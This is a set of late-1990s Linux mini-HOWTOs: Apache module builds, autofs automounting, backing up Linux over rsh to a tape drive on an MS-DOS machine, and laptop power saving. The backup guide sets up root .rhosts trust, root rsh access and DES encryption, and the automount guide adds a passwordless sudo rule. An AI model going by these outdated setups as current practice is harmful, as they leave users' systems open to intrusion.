php as well as mod_auth_mysql and possibly mod_perl will require that MySQL be installed and running on your system. It is beyond the scope of this document to go into the details of installing MySQL, but download the archive and follow the directions in the INSTALL file(s). It is a fairly straight-forward procedure to get MySQL up and running. Something like:

./configure
make
make install

Should get everything installed so that you can compile the other Apache modules.

3.5 PHP 3.0.15

We will compile php-3.0.15 as a DSO which means that it is a separate module that can be loaded and unloaded from the server. This makes it easy to upgrade php without having to recompile everything (which can be a pain if you use a lot of modules with Apache).

GD

In our installation of Apache, php uses gd to create images, and such. I used an older version of gd (installed via RPM) to link php against. This way we can use output GIF files. This probably isn't too desirable do to copyright issues, and thus you may wish to use a version later than 1.3 which only supports PNG files.

Either install via RPM (rpm -i gd*.rpm) or compile from source and install to the system.

IMAP

If you want IMAP support, the procedure is similar to that of gd. I used the RPM since I'm on a Red Hat system, but installing from source should be a relatively simple procedure of ./configure;make;make install.

OpenLDAP

Once again you can install OpenLDAP either via RPM or source. I chose to do it via source since the latest version was not yet available via RPM at the time we were setting things up.

./configure
make
make install

should do the trick! (Or rpm -i openldap*.rpm)

Installing and Compiling PHP 3.0.15

Once the above items are installed and working, we can go ahead and compile PHP as a DSO. The process is very straightforward and simple.

cd /usr/src/apache/modules/php/php-3.0.15

./configure \
        --with-apxs=/apps/apache/bin/apxs \
        --with-config-file-path=/apps/etc \
        --with-gd \
        --with-imap \
        --with-mysql=/apps/mysql \
        --with-ldap=/apps \
        --with-zlib \
        --enable-track-vars

Make sure that if any of your --with libraries are not installed in /usr/local or /usr, that you tack on an =/location/ line so that configure can find the stuff it needs!

make
make install

If everything completes properly, 'make install' will use apxs to install libphp3.so to /apache/libexec/libphp3.so and add the proper entries into httpd.conf and activate php3. Pretty slick.

3.6 mod_perl

This section documents the installation of mod_perl as a DSO for Apache. There are a number of perl modules (in addition, of course, to perl5, which I will assume you already have installed) that must be added before mod_perl will compile without complaining. If you don't install these modules, mod_perl should complain and tell you which ones you are missing.

There is a certain order in which the modules must be installed. Some depend on others and thus I've listed the install order that I used without any problems.

Required Perl Modules

The perl modules can be obtained from locations detailed further up in this document. Download them and put them wherever you like or in the location I used as depicted in the directory map (also above). Installing a module is fairly simple. After extracting the module to a directory (usually with tar xvfz), you simply change to that directory and execute the following commands:

perl Makefile.PL
make
make install

If everything goes as it should, this will configure, build and install the perl module for you. Of course, check the README for each module if things don't work quite as expected.

Here is the order I used to install the modules necessary for mod_perl:

  1. MIME::Base64
  2. URI
  3. HTML::Parser
  4. Digest-MD5
  5. libnet
  6. libwww

Installing and Compiling mod_perl 1.2x

After installing the perl modules, we're ready to compile and install mod_perl into Apache. Change to the directory where you extracted mod_perl to, and run the following script:

perl Makefile.PL \
        USE_APXS=1 \
        WITH_APXS=/path/to/apache/bin/apxs \
        EVERYTHING=1

This will set up your Makefile and tell mod_perl to compile itself as a DSO using apxs (the location of which you must specify). After this step, simply run

make
make install

And mod_perl will be moved to the appropriate directory and lines added to your httpd.conf file.

3.7 mod_auth_mysql

mod_auth_mysql lets the Apache web-server authorize against a MySQL user database. Installation of the module as a DSO isn't exactly documented in the README file, but it can be done.

First, change to the directory you extracted mod_auth_mysql to. I assume that you have MySQL installed somewhere (along with the headers, etc). Make sure you know the location of the MySQL libraries and header files. If in doubt, check /usr/lib/mysql and /usr/include/mysql.

In order to compile mod_auth_mysql, we'll first have to rename the 'config.h' file to 'auth_mysql_config.h'. I'm not sure why this file wasn't named correctly, but simply execute the following command:

cp config.h auth_mysql_config.h

Now for the final step:

/path/to/apache/bin/apxs -i -a -I/usr/include/mysql -L/usr/lib/mysql \
        -lmysqlclient -c mod_auth_mysql.c

You may need to run as root if you do not have read/write access to the Apache directory.

3.8 mod_auth_nds

At my school, the Windows network of choice is Netware. It's been in place for a long time, and although hopefully someday it will be retired, for now it is still the main network on campus for filesharing and email. Every student has a Netware account on which their personal files--including their webpages are stored. We mount these directories on our linux server and it's nice to be able to password protect certain ones with the Netware username and password information. With this module, Apache can authenticate straight to the Netware server itself.

ncpfs

In order to compile mod_auth_nds, we need to have ncpfs installed (along with its headers of course). Before compiling ncpfs, you must ensure that your kernel has IPX support compiled in. If this is the case, simply running

./configure
make
make install (optional)

will compile (and install) the libraries.

Compiling and Installing mod_auth_nds

With ncpfs installed, running the following command should compile mod_auth_nds as a DSO:

/path/to/apache/bin/apxs -c -lncp -L/usr/lib -I/usr/include mod_auth_nds.c
/path/to/apache/bin/apxs -i mod_auth_nds.so

Then add the following lines to your httpd.conf (by hand):

LoadModule nds_auth_module libexec/mod_auth_nds.so
AddModule mod_auth_nds.c

Then, restart Apache!

3.9 mod_fastcgi

Installing mod_fastcgi is necessary if you want to allow access to your Zope server through Apache. This might be useful simply because Apache is inherently more secure and much more configurable than the Zope server itself.

The current stable version of mod_fastcgi is 2.2.2, however, this version does not work properly with Zope. You must get the SNAP release which is dated Oct 06. The link is provided above.

Change to the mod_fastcgi directory and run the following commands:

/path/to/apache/bin/apxs -o mod_fastcgi.so -c *.c
/path/to/apache/bin/apxs -i -a -n fastcgi mod_fastcgi.so

See the mod_fastcgi documentation for a description of its use.


Apache+DSO+mod_ssl+mod_perl+php+mod_auth_nds+mod_auth_mysql+mod_fastcgi: Final Words

 Next Previous Contents

4. Final Words

Much of this information can be obtained by reading the README and INSTALL files included with the various modules. However, this document is useful in the cases which didn't work as expected for me, or else for which the installation procedure was not as well defined as I would have liked. It also has the added benefit of being one, sequential document, which should hopefully be easier to follow and understand than a slew of README files.

4.1 Credits

Phillip R. Wilson <pwilson@drew.edu>, author of mod_auth_nds, for helping me get
 mod_auth_nds to compile and install with apxs.

John Ash <jash@wwc.edu>, my boss, for all sorts of help and of course, a job.

Marcus Faure <marcus@faure.de>, author of the Apache SSL PHP/FI frontpage mini-
 HOWTO, whose document this one is loosely based on.

4.2 Contact Information

If you find any blatant errors in this document, spelling, grammatical, content or otherwise, please don't hesitate to drop me an email. You can get ahold of me via a number of means.

Ray Van Dolson
Email: <url url="mailto:rayvd@firetail.org" name="rayvd@firetail.org">
IRC: DALnet, #Bludgeon (nick Variant)

4.3 Anything Else

Everything mentioned in this document will eventually be available for ftp from ftp.wwc.edu/pub/apache. I will have everything laid out as described above, and hopefully installation scripts to install everything from scratch. (A very dumb script mind you).


Automount mini-Howto

don@sabotage.org

v0.4.1, 21 March 2002

This file describes the autofs automounter, how to configure it, and points out some problems to avoid.

1. Introduction

  • 1.1 Automount - what and why
  • 1.2 Types of automounting

2. Installation

3. Configuration

4. That long wait to unmount

5. Questions

  • 5.1 I don't see /auto/floppy, or whatever mountpoint I'm looking for.
  • 5.2 How do I see what's mounted?
  • 5.3 I put in a win95 disk ("vfat") and it was autodetected as only a regular FAT disk.
  • 5.4 My filesystem /auto/grumblesmurf is mounted and kill -SIGUSR1 won't unmount it.
  • 5.5 What happens if I make / the directory for the automounter
  • 5.6 Can I have two map files on the same directory?
  • 5.7 I'm using SuSE 6.0 and needed ---timeout instead of --timeout
  • 5.8 How do I set the permissions and ownership for the filesystem (IE FAT)
  • 5.9 Who do I thank for autofs?
  • 5.10 Where can I learn more about automounting?


Automount mini-Howto: Introduction

 Next Previous Contents

1. Introduction

1.1 Automount - what and why

Automounting is the process where mounting (and unmounting) of certain filesystems is done automatically by a daemon. If the filesystem is unmounted, and a user attempts to access it, it will be automatically (re)mounted. This is especially useful in large networked environments and for crossmounting filesystems between a few machines (especially ones which are not always online). It may also be very useful for removable devices, or a few other uses, such as easy switching between a forced-on ascii conversion mount of a dos filesystem and a forced-off ascii conversion mount of the same dos fs.

1.2 Types of automounting

There are two types of automounters in linux; AMD and autofs. AMD is the automount daemon, and supposedly works like the SunOS AMD. It is implemented in user space, meaning it's not part of the kernel. It's not necessary for the kernel to understand automounting if you NFS mount to the local host, through the AMD daemon, which routes all automount filesystem traffic through the NFS system. Autofs is a newer system assisted by the kernel, meaning that the kernel's filesystem code knows where the automount mount points are on an otherwise normal underlying fs, and the automount program takes it from there. Only autofs will be described in this mini-howto.


Automount mini-Howto: Installation

 Next Previous Contents

2. Installation

Because autofs is implemented in kernel-space, your kernel must have support compiled in. In 2.0.xx it is an experimental option, but appears to be quite stable. In 2.2.xx it is a normal option.

The automount program and its configuration files are also necessary; using the rpms (from RedHat, as part of the install) is a great way to go. The automount program should be started by an rc script under the /etc/rc.d/init.d directory . The rpm installs this, but you will need to make sure it gets started, either by linking it from your rc?.d directory, using Redhat's control-panel, or on another distribution by getting the thing started any way you care to. Non-rpm distros will have to do whatever's applicable to their system. And don't look too hard at what the rc script does; if you're reading this howto you probably don't want to know.


Automount mini-Howto: Configuration

 Next Previous Contents

3. Configuration

Installing the RPM's will get you to this point easily enough, but here's the part you might not be sure about if you haven't done this before.

There are two files in /etc, one called auto.master and one called auto.misc. My auto.master looks like this:

/auto   /etc/auto.misc  --timeout=60

The first entry is not the mount point. It's where the set of mount points (found in the second entry) are going to be. The third option says that the mounted filesystems can try to unmount themselves 60 seconds after use. They can't unmount if being used, of course.

Auto.misc is a "map file". The map file can have any name; this one is named auto.misc because it originally controlled /misc. Multiple map files can be defined in auto.master. My auto.misc looks like this:

kernel          -ro,soft,intr           ftp.kernel.org:/pub/linux
cd              -fstype=iso9660,ro      :/dev/cdrom
zip             -fstype=auto            :/dev/hdd4
floppy          -fstype=vfat            :/dev/fd0

The first column (the "key") is the mount point. In this case it would be /auto/floppy or whatever. The middle set are the options; read the mount manpage for details on this. And the last column specifies where the fs comes from. The "kernel" entry is supposed to be an NFS mount. The : on all the other lines means its a local device.


Automount mini-Howto: That long wait to unmount

 Next Previous Contents

4. That long wait to unmount

Some of you may be eyeing that 60 second timeout and thinking, that's a long time to wait to eject a floppy.. Maybe I'll just sync the disks and pop it out mounted and nobody will notice. Let me suggest saner alternatives. First of all, you can change the timeout. But that could be a little inefficient; telling the system to unmount stuff after only 15 seconds or whatever. Depending on your setup, you may be able to simply run the umount command as a normal user. But there is actually a way to ask the automount program to umount. If you send (with the program kill) the signal SIGUSR1 to the automount process, it will unmount everything it can. But before people start making unmount buttons on their window managers, there's a little problem.

The automount process is run by root, and it will only accept signals from root. Half of the reason you're probably doing automounting is so you can mount and unmount *without* being root. It would be easy to make a suid-root C program which does the dirty deed. However, by using sudo it is possible to allow users to send the proper kill signal. The only problem is that sudo will not let you use ` to process subcommands, which you would have to do to find the current PID. You should have a program called killall, which will let you do this: (thanks for the suggestions)

ALL     ALL=NOPASSWD:/usr/bin/killall -USR1 automount
Otherwise, you would have to allow your users to send -SIGUSR1 to all processes. That has various effects on programs; it will recycle some window managers, but kills xemacs. So here's hoping there's no buffer overruns in killall...


Automount mini-Howto: Questions

 Next Previous Contents

5. Questions

5.1 I don't see /auto/floppy, or whatever mountpoint I'm looking for.

If automount is setup properly, whatever mount point you're looking for will be there if you try and use it, even though you don't see it when not in use. If you're browsing the directory with a graphical tool, you may need to type in the name manually; most programs will try what you give it, and the drive will be mounted before it notices. Unfortunately not being able to choose from the available invisible mount points is probably the major drawback of autofs. If it really bugs you, edit the configuration files. (Hint, the ones that end in .c for "configuration")

One workaround several people have tried is to create symbolic links to where automount will create something once it's mounted. This will likely prevent the program from complaining a directory doesn't exist (if the mount works, that is) but careless directory listings will cause filesystems to be mounted.

5.2 How do I see what's mounted?

The df command. mount with no options will do the same, plus show the options its mounted with.

5.3 I put in a win95 disk ("vfat") and it was autodetected as only a regular FAT disk.

This is not a problem with automount. As of this writing, the "auto" fs type does not attempt a vfat mount before it successfully mounts an msdos filesystem. VFAT is the Win95 and WinNT long filenames crammed into a FAT/MSDOS filesystem.

According to one of the authors of mount, since mount is only a wrapper around a system call which must specify the filesystem type, it's still the responsibility of the user to come up with the fs type. Having mount take a list of filesystems to try in order, rather than the current "heuristic" is under consideration. Some users have simply not compiled msdos into the kernel; this prevents it from being tested prior to vfat. This will work for most people; a few actually need msdos fs and it caused me quite some frustration to not have a module handy when I actually needed it.

I'm sure that if anyone wants to go to the effort of finding the owner(s) of the mount program, your comments would be welcome. So unless you don't compile msdos in, for now this means that you can't mount vfat unless you give up the ability to autodetect all other fs's. Hopefully it will be configurable someday. In the mean time, feel free to create multiple mount points with different fs types specified.

5.4 My filesystem /auto/grumblesmurf is mounted and kill -SIGUSR1 won't unmount it.

It's being used by something. Root probably can't manually unmount it either. If you're the one who caused it to be mounted (i.e. it can't be someone else using it) look around for a shell that might be in that directory. If there are none, look for something else (particularly something that might have gone though that directory like a directory browser) that might have left an invisible foot in the door so to speak. If you've given up looking, try using the fuser program.

5.5 What happens if I make / the directory for the automounter

Oooh. Well, out of a statistical sample of only one person, none of the results were positive. You have been warned. If you want /grumblesmurf, then I suggest a symbolic link. Much safer.

5.6 Can I have two map files on the same directory?

Not as far as I know. Try using one map file, with specific options for individual entries.

5.7 I'm using SuSE 6.0 and needed ---timeout instead of --timeout

Uh. Ok, I've made a note about it. Another solution to "timeout not working" problems would be to add a -t time option to the autofs script.

5.8 How do I set the permissions and ownership for the filesystem (IE FAT)

Check the man page for mount for some of the options, such as setting the uid=value or umask=value options. One option that appears to be missing for FAT filesystems is mode=value. Sorry. Check in with the people who do mounting.

5.9 Who do I thank for autofs?

Not me. I didn't have anything to do with it. I just wanted to bring everyone's attention to what a great job had been done with autofs, and how easy it is to use. Compared to the original perpetrators of AMD (hint, they sell an overpriced Unix with prehistoric versions of free tools) the autofs is very well documented and the implementors have my sincere thanks. Everything is stamped copyright Transmeta so sorry I can't provide a credits list, but I would bet Peter Anvin is responsible for quite a bit of it. Peter also held a session on autofs at linuxworldexpo on March 3, 1999.

5.10 Where can I learn more about automounting?

There's a autofs tutorial at http://www.linuxhq.com/lg/issue24/nielsen.html. See also am-utils at http://www.cs.columbia.edu/~ezk/am-utils

(Thanks for these URLs)


Backup-With-MSDOS mini-HOWTO

Christopher Neufeld, neufeld@physics.utoronto.ca

v, 5 August 1997

This HOWTO describes how to use a Linux-compatible tape drive installed on an MS-DOS machine to back up the filesystem of a Linux machine.

1. Preface/Introduction

2. The technique

3. Notes

4. Copyright


Backup-With-MSDOS mini-HOWTO: Preface/Introduction

 Next Previous Contents

1. Preface/Introduction

Earlier I posed the question on the Net, how does one back up a Linux machine to a Colorado Jumbo 250 tape drive on an MS-DOS machine. From the email I received, it seems that this is a frequently pondered problem. Now that I've figured it out, I'm posting the method. If anybody wants to massage this into a HOWTO document, let me know. I should thank Jim Nance ( jlnance@isscad.com) for pointing out that an MS-DOS machine need not always be an MS-DOS machine. This technique should also work for any other tape drive supported by the ftape module, and for SCSI tape drives with suitable obvious changes (i.e. substituting /dev/st0 for /dev/ftape).

The criteria I set were that the resulting setup should be as secure as possible and should be fairly simple, and take up little or no space on the MS-DOS machine's hard drive. It should also be capable of recovering from the worst system corruptions, up to and including the theft of the hard disk, requiring a restore to a bare Linux file system. The technique described here uses no hard drive space on the MS-DOS machine, though it requires that that machine be assigned an IP#. You will need three formatted, blank 1.44MB diskettes.


Backup-With-MSDOS mini-HOWTO: The technique

 Next Previous Contents

2. The technique

Throughout this description I will refer to two machines as ``msdos'' and ``linux''. ``msdos'' is the name of the machine which has the tape drive and is usually running MS-DOS. ``linux'' is the Linux machine whose disk you are trying to back up or restore to the tape drive. For simplicity I will refer to the first machine as ``msdos'' even when it is booted into and running Linux. Further, all path names in this document should be considered to be relative to the Linux machine with the Search-And-Rescue (SAR) disks mounted somewhere on the system. That means that the file /etc/passwd is the password file for your Linux machine's hard drive, while, for instance, /tape144/etc/passwd is the corresponding file on the floppy disk.

I am using Karel Kubat's backup scripts, version 1.03, available at

ftp://sunsite.enc.edu:/pub/Linux/system/Backup/backup-1.03.tar.gz
Throughout this document I will refer to these simply as ``the backup scripts''. You do not have to use these scripts for your own backups to tape. I like these scripts as they use afio to form an uncompressed archive of compressed files, rather than a compressed archive of uncompressed files. The former is much safer if there is a media read error during the restore. I understand that Karel is no longer supporting backup, and now has produced 'tob', or tape oriented backup. While I haven't tried the new package myself, it cannot make a significant difference to the procedure outlined here.

First of all, obtain the ftape module. It is a part of all modern kernels, but if you are using an older kernel you can find the module at:

ftp://sunsite.unc.edu/pub/Linux/kernel/tapes/ftape-2.05.tar.gz
Next, get a Slackware boot disk (I got the net disk, but it doesn't make much difference) and the tape144 root disk, and put the images onto 3"1/2 floppies.

The ftape module will only work if it is installed in the kernel which was running when you compiled it. I could not get it to work with the ftape.o module on the tape144 root disk, I think because that module has been stripped of symbols and won't install. So, you now have to make a new kernel with network and ftape support, and if you're running an old kernel, a new ftape.o. Read the directions which ship with the ftape archive for directions at this stage. Remember that the kernel you compile must support the Ethernet cards on both the Linux machine and the MS-DOS machine.

Copy the newly created kernel image over top of the one on the Net boot disk. Use /bin/cp, do not create a boot disk with the ``dd'' command as you would to create a bootable kernel image. Write protect the boot disk, and label it: SAR#1.

Now, mount the tape144 root disk. I'll assume that the mount point is /tape144, to avoid confusion in file names. We need to free some space on it, so delete the following files:

/tape144/bin/dialog
/tape144/bin/elvis
/tape144/bin/vi
/tape144/boot/ftape.o

Now, create a new file:

/tape144/etc/exports
which contains the following line:
/mnt    msdos(ro)
Where ``msdos'' should be replaced with the name or IP# of the MS-DOS machine which has the tape drive installed.

Next, so that you don't have to rely on a name server, add lines to the file /tape144/etc/hosts with the names and IP numbers of the Linux and MS-DOS machines. For instance, mine contains the following two lines:

128.100.75.114  caliban.physics.utoronto.ca caliban caliban.physics
128.100.75.111  ariel.physics.utoronto.ca ariel ariel.physics

Now, there's some sort of problem with the inetd configuration. We have to put the full path name of the rsh daemon in it. Change line 19 of /tape144/etc/inetd.conf to read:

shell   stream  tcp     nowait  root    /usr/etc/tcpd   /usr/etc/in.rshd

Add local net routing information to /tape144/etc/rc.d/rc.inet1 to enable the MS-DOS machine to use the network. The format of this depends on your network configuration, you can just copy the appropriate format out of your Linux /etc/rc.d/rc.inet1. For my network, the lines that have to be added are:

/etc/ifconfig eth0 128.100.75.111 broadcast 128.100.75.0 netmask 255.255.255.0
/etc/route add -net 128.100.75.0 netmask 255.255.255.0
The IP# in the ifconfig entry is that of the MS-DOS machine.

Now, copy this file into /tape144/etc/rc.d/rc.inet1-l, and change the IP# in the new file to reflect that of the Linux machine rather than the MS-DOS machine.

Next, clip out lines 3 to 11 of /tape144/etc/rc.local. That's an if statement which executes the rc.inet* files. We don't want this to happen during the bootup.

Create a new file: /tape144/root/.rhosts containing the line:

linux root
where, again, ``linux'' is replaced with the full machine name (including domain) or the IP# of the Linux machine.

Fill in the password field in /tape144/etc/passwd for the root login to keep people from logging onto the MS-DOS machine while you're doing the backup. You can do this by copying the corresponding field from your Linux machine's /etc/passwd file.

Copy /usr/bin/rsh into /tape144/usr/bin.

Copy the following files from /usr/etc into /tape144/usr/etc:

in.rshd
rpc.mountd
rpc.nfsd
rpc.portmap
services
tcpd

Create a new script, /tape144/bin/tapesetup, which consists of the following: (change ``linux'' to reflect your Linux machine name).

#! /bin/sh

/bin/sh /etc/rc.d/rc.inet1
/bin/sh /etc/rc.d/rc.inet2

/bin/mount linux:/nfs /mnt
/bin/insmod /mnt/ftape.o
Note that newer kernels will not require the insmod line.

Next, create another new script, /tape144/bin/msdosset, as follows: (change ``linux'' to reflect your Linux machine name).

#! /bin/sh

/bin/sh /etc/rc.d/rc.inet1
/bin/sh /etc/rc.d/rc.inet2

mount linux:/mnt /mnt
/bin/insmod /mnt/ftape.o
As above, newer kernels will not require the insmod line.

Create a readable file, /tape144/root/notes, which contains this helpful information for use in full recovery:

For a full recovery to a trashed hard disk,
boot the Linux machine with the SAR disks #1 and #2
then type the following:

   /bin/sh /etc/rc.d/rc.inet1-l
   /bin/sh /etc/rc.d/rc.inet2

   /usr/etc/rpc.portmap
   /usr/etc/rpc.mountd
   /usr/etc/rpc.nfsd

Next, insert SAR disk #3 and type:

   mount /dev/fd0 /mnt

Create a new mount point, with:

   mkdir /mnt2

and mount your Linux hard disk partition on this point.
You may have to reformat the partition first, if so,
follow the directions in the Linux Installation HOWTO.
The SAR disks contain all the files necessary to do the reformat.

Finally, use disks SAR#1 and SAR#2 to boot up
the MS-DOS machine and run the /bin/msdosset script on that machine.
It will take about a minute to run that script because it is getting
an NSF file from a floppy drive, so be patient.
Now, recover the tape to /mnt2 on the Linux machine.

If you are using the backup scripts you will need to copy 'afio' into the /tape144/local/bin subdirectory. It is not necessary to have the rest of the backup script files on the recovery disks, an archive can be recovered using only 'afio' and 'gzip'.

I was unable to use the backup scripts as they come shipped. The tape archive appears to build cleanly, but it is unrecoverable. I found that removing the block size and conversion statements fixed it. Here is the patch to the ``netbackup'' script. Apply this patch to the Linux machine's hard disk copy of 'netbackup' as well as to the copy on the SAR disks.

*** netbackup.orig      Mon Jan  9 17:22:32 1995
--- netbackup   Mon Jan  9 17:23:25 1995
***************
*** 35,41 ****
                  "'mknod", devname, "p'");
      exec ("su -", USERNAME, "-c",
                  "'rsh ", REMOTE_HOST,
!                       "\"dd", "of=" REMOTE_DEVICE, "obs=20k", "conv=sync\"",
                        "<", devname,
                "'&"
         );
--- 35,41 ----
                  "'mknod", devname, "p'");
      exec ("su -", USERNAME, "-c",
                  "'rsh ", REMOTE_HOST,
!                       "\"dd", "of=" REMOTE_DEVICE, "\"",
                        "<", devname,
                "'&"
         );
***************
*** 50,56 ****
                  "'mknod", devname, "p'");
      exec ("su", USERNAME, "-c",
                  "'rsh ", REMOTE_HOST,
!                       "\"dd", "if=" REMOTE_DEVICE, "ibs=20k", "conv=sync\"",
                        ">", devname,
                "'&"
         );
--- 50,56 ----
                  "'mknod", devname, "p'");
      exec ("su", USERNAME, "-c",
                  "'rsh ", REMOTE_HOST,
!                       "\"dd", "if=" REMOTE_DEVICE, "\"",
                        ">", devname,
                "'&"
         );

You have now finished your SAR disk #2. Write protect it.

Next, mount a clean, formatted disk (create it with fdformat and mkfs). Copy the ftape.o file onto it, and label it SAR#3. For some reason things go badly if you write protect this disk, so leave it write-enabled.

On the Linux machine, create a new directory for NFS file serving. I made a directory:

/nfs
Put the ftape.o (unstripped, about 500+ kB) into this subdirectory. Create an entry in your Linux's exports file /etc/exports:
/nfs    msdos(ro)
Note that all files in your NFS directory and it's subdirectories are not secure. Somebody else could boot the MS-DOS machine into Linux with his own boot disks and mount this directory, so be certain that you don't put anything sensitive in your NFS subdirectory.

Restart your NFS daemons, rpc.mountd and rpc.nfsd. They don't seem to take kindly to a SIGHUP restart, so kill them and reinvoke them. If you're not activating these daemons in your /etc/rc.d/rc.inet2 you might want to do so now.

OK, now we're all set to back up and recover. To make a full backup from the Linux machine, boot the MS-DOS machine with SAR#1. When prompted for the second disk, load SAR#2. Log in as root, and execute the script: /bin/tapesetup. Log out of the MS-DOS machine. If you're using the backup scripts, the netbackup command will now work. You can also use the ``-f msdos:/dev/ftape'' switch on GNU tar, cpio, or mt, and make your backup this way. If you have a backup program, which is only capable of writing to a local file, do the following. Assume that the backup program is called ``localbackup'' and writes to the file represented by its command line argument:

mknod /tmp/tapepipe p
rsh msdos dd of=/dev/ftape < /tmp/tapepipe &
localbackup /tmp/tapepipe
when it's done, delete /tmp/tapepipe.

Recovering to a live Linux machine: the netbackup script, tar, cpio, and so on will all work without special actions on the part of the operator. If you have a local recovery program which recovers from a file, do this:

mknod /tmp/tapepipe p
rsh -n msdos dd if=/dev/ftape >> /tmp/tapepipe &
localrecovery /tmp/tapepipe
and delete /tmp/tapepipe when you're done.

Notice that I'm using 'rsh' to the root user on the MS-DOS machine. This works with a correct .rhosts entry. The configuration on the 'tape144' disk allows rsh to root, but does not allow telnet or rlogin to root, logins are restricted to the console. This is good for security.

If you are worried about a root .rhost file, you can create a new user on SAR#2, ``tapeuser'', with permissions to operate the tape drive but not the disks (create a new group and put tapeuser in that group, then chown and chmod the files /dev/rft* and /dev/nrft*). Your backup program then has to know to rsh to that username rather than to root. Of course, now there must be an .rhosts file in ~tapeuser on SAR#2. For my own use, I have chosen this course, rather than a root .rhosts.

Finally, the directions for a complete recovery to a trashed hard disk. This assumes that the Linux partition is completely unrecoverable. If necessary, reformat that partition as described in the Linux Installation HOWTO. Boot the Linux machine from SAR disk #1. When prompted, insert disk #2. Now, follow the directions in the file /root/notes (this was /tape144/root/notes when it was mounted on your Linux machine). Once both machines have been booted up, run the recovery routine you need. If you are running the backup scripts you can do it as follows:

  1. change directory to the mount point of the hard disk partition which you will be recovering.
  2. if any mounted volumes are on the backup, and you want to recover them, create the mount points within the hard disk partition and mount the volumes.
  3. Enter the command:
    rsh -n msdos dd if=/dev/ftape | afio -i -v -Z -c 1024 -
    or
    rsh -n -l tapeuser msdos dd if=/dev/ftape | afio -i -v -Z -c 1024 -
    or
    mknod /tmp/backpipe p
rsh -n msdos dd if=/dev/ftape >> /tmp/backpipe &
afio -i -v -Z -c 1024 /tmp/backpipe
This reads the tape on the remote machine, writing the result to stdout, where afio picks it up. The '-i' switch tells it to recover the files relative to the current working directory (which is the root of the hard disk partition). '-v' is verbose, listing the files as they are recovered. '-Z' tells afio that this is an archive of individually compressed files. '-c 1024' tells it to use a 5 MB streaming buffer to avoid a lot of tape rewinding.


Backup-With-MSDOS mini-HOWTO: Notes

 Next Previous Contents

3. Notes

The commands listed in the /tape144/root/notes file could be run from a script. When I tried, I got rpc setup errors. I suspect it was just that the commands were run too quickly, and the portmapper hadn't properly installed itself. I found that typing the sequence in manually worked fine, so I've recommended that.

I think this setup is secure. Note that somebody can still get access to all your files if they go to the tape drive and pull the tape out before you get there, then then read the tape themselves. People with very sensitive data might consider encrypting the stream from the archiver. Archive to standard output and pipe the output to the encrypter, and redirect the output of the encrypter to append to the named pipe /tmp/tapepipe as described above. Note that errors in the recovery process will result in all files after that point being unrecoverable, as the entire archive is now a single DES-encrypted stream. It is possible to use options on afio to send each file in the archive first through gzip, then into an encryption program like des, but note that this compressing first does provide a fair amount of known plaintext for determined code breakers to work with, so a better approach might be to skip the gzip step and simply encrypt it with des, at the expense of significantly more tape area. Needless to say, DES encrypted files don't compress.

The rc.inet1 directions I've included will allow only communication with the local network, not the rest of the world through a gateway.

During a full recovery to a blank hard disk the SAR disk #3 provides ftape.o to the MS-DOS machine through NFS. This is because some old versions of the ftape module can't control some tape drives when there is a disk mounted in the floppy drive. With newer kernels, the entire NFS stuff can be omitted.

This is very important. ***TEST*** the SAR recovery procedure. I did, but don't leave anything to chance. Make sure that you can recover at least one file from your tape to the Linux machine using only the SAR disks (i.e. without mounting the hard disk). If you can't reboot the Linux machine without inconveniencing a lot of users, change the setup information on the SAR disks to assign the ``linux'' identity to another MS-DOS machine and then boot the two MS-DOS machines into Linux to make sure everything works. Then, change the ``linux'' identity back again so that you have usable SAR disks.


Backup-With-MSDOS mini-HOWTO: Copyright

 Next Previous Contents

4. Copyright

Copyright Jan 10, 1995 by Christopher Neufeld ( neufeld@physics.utoronto.ca)

Modified Feb 6, 1996.

Modified Aug 5, 1997.


Battery Powered Linux Mini-HOWTO

Hanno Mueller, hanno@lava.de http://www.lava.de/~hanno/

v, 21 December 1997

This document describes how to reduce a Linux system's power consumption by tweaking some of its configuration settings. This will be helpful for everyone who runs Linux on a portable computer system. There is also some general information about how to take care of your battery. If you are using Linux on a desktop system, you probably don't need to read all this.

1. Introduction

  • 1.1 Before you ask
  • 1.2 What this document is about
  • 1.3 Roadmap
  • 1.4 Feedback
  • 1.5 Disclaimer
  • 1.6 Copyright

2. General information

  • 2.1 Be kind to your battery
  • 2.2 Power saving - The obvious stuff

3. Advanced Power Management

  • 3.1 What APM can do for you
  • 3.2 How to activate APM support in Linux
  • 3.3 APM support and the PCMCIA drivers
  • 3.4 The apmd package
  • 3.5 And if my laptop does not support APM?

4. Changing some general system settings

  • 4.1 The crond daemon and atrun
  • 4.2 The update / bdflush daemon
  • 4.3 The syslogd daemon
  • 4.4 The init command
  • 4.5 The swap partition
  • 4.6 The apache httpd webserver daemon
  • 4.7 The XFree86 package
  • 4.8 The emacs editor
  • 4.9 How to find more ways to optimize

5. Appendix

  • 5.1 A message to Linux distributors
  • 5.2 Credits
  • 5.3 About this document


Battery Powered Linux Mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

``Ages 6 and up. Batteries included.''

1.1 Before you ask

This document does not describe how to install Linux on laptops, but how to optimize a ready-configured Linux for use on laptops. Please read the Installation-HOWTO or your distributor's handbook for help with installing Linux.

This document does not describe how to use an uninterruptable power supply and the powerd daemon, either (even though a ups is a big battery). Read the UPS-HOWTO for details about that subject.

1.2 What this document is about

More and more people own portable computers these days and in turn, more and more people install Linux on such machines.

Installing and using Linux on a laptop is usually no problem at all, so go ahead and give it a try. Unlike some other operating systems, Linux still supports and runs well on even very old hardware, so you might give your outdated portable a new purpose in life by installing Linux on it.

If you need help with installing Linux on a laptop or if you have questions about laptop hardware, you can check the excellent Linux Laptop webpage at http://www.cs.utexas.edu/users/kharker/linux-laptop/ where you will find a lot of useful information and detailed help. The Linux Laptop page describes hardware configuration for specific laptop models and chipsets.

This HOWTO however will focus on the one problem that is common to all portable systems: Power consumption.

Yet, I have not found a Linux distribution that comes with a configuration optimized for laptops. Since I could not find this kind of information anywhere else, I have started to collect a few simple but effective tricks that will help you save battery power and in turn increase your system's uptime while running on battery.

(Sidenote. I received a complaint by a reader that these tips were not very effective with his laptop. So does all this really work? Yes, but don't expect miracles. I was able to increase my laptop's battery time from 90 minutes to more than 120 minutes.)

1.3 Roadmap

If you are a laptop pro, you can probably skip the General Information section. If you are a Linux pro, what you really want to know can be found in the Changing some general system settings section. If you are a Linux distributor, please read A message to Linux distributors.

1.4 Feedback

Your feedback is welcome. Please send comments to hanno@lava.de. Did it work on your system? Do you have new tips? Are there any outdated links or addresses in this text?

